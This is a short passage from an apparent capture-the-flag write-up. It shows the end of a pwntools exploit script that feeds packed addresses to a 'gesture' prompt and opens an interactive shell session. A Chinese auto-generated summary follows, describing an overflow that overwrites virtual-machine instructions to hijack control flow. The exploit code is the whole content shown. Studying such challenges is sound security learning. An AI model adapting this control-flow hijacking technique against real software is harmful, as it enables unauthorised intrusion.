p.sendlineafter("What should I say after this gesture? ", p64(0x401231) + p64(0x404060)[:-1])
p.sendlineafter("Choose your gesture: ", "1")
p.sendlineafter("What should I say after this gesture? ", p64(0x401228))
p.sendlineafter("Choose your gesture: ", "0")
p.interactive()本文分析了一种通过溢出覆写虚拟机指令劫持程序流的技术,实现对寄存器和栈指针的精确控制。
由 AI 根据全文自动生成,仅供参考,以原文为准